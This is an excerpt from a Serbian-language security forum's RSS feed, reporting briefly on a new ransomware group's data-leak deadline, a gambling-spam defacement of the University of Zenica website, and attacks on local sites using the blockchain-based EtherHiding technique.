Ransomware ekipa daje 22 dana i verovatno traži nekakav otkup da ne bi objavili podatke. Ekipa je nova pa nije baš poznato kako funkcioniše, do sada nisu objavili podatke ni jedne navodne žrtve.]]> <![CDATA[[BA] Hakeri upali na sajt Univerziteta u Zenici, osvanule poruke o online kockanju]]> https://bezbedanbalkan.net/thread-2695.html Sat, 22 Aug 2026 06:05:23 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2695.html Mobilna verzija stranice potpuno je kompromitovana, sporni sadržaji završili su i u Googleovom indeksu, a Univerzitet se zasad nije oglasio

Quote:Riječ je o sadržaju karakterističnom za SEO spam i takozvani gambling defacement, a većina ubačenih izraza je na indonežanskom jeziku.

Sajr je trenutno ugašen :

uz2.jpg Size: 380.52 KB Downloads: 185

]]> Mobilna verzija stranice potpuno je kompromitovana, sporni sadržaji završili su i u Googleovom indeksu, a Univerzitet se zasad nije oglasio

Quote:Riječ je o sadržaju karakterističnom za SEO spam i takozvani gambling defacement, a većina ubačenih izraza je na indonežanskom jeziku.

Sajr je trenutno ugašen :

uz2.jpg Size: 380.52 KB Downloads: 185

]]> <![CDATA[EtherHiding napad na domaće sajtove]]> https://bezbedanbalkan.net/thread-2690.html Thu, 20 Aug 2026 14:15:45 +0000 VincaSec]]> https://bezbedanbalkan.net/thread-2690.html

eth.png Size: 86.68 KB Downloads: 269

U pitanju je napredna tehnika pod nazivom EtherHiding, u kojoj napadači umesto klasičnih servera koriste javni blokčejn i pametne ugovore za skrivanje i preuzimanje malicioznih instrukcija.

https://www.stormshield.com/news/cti-eth...echnology/]]>

eth.png Size: 86.68 KB Downloads: 269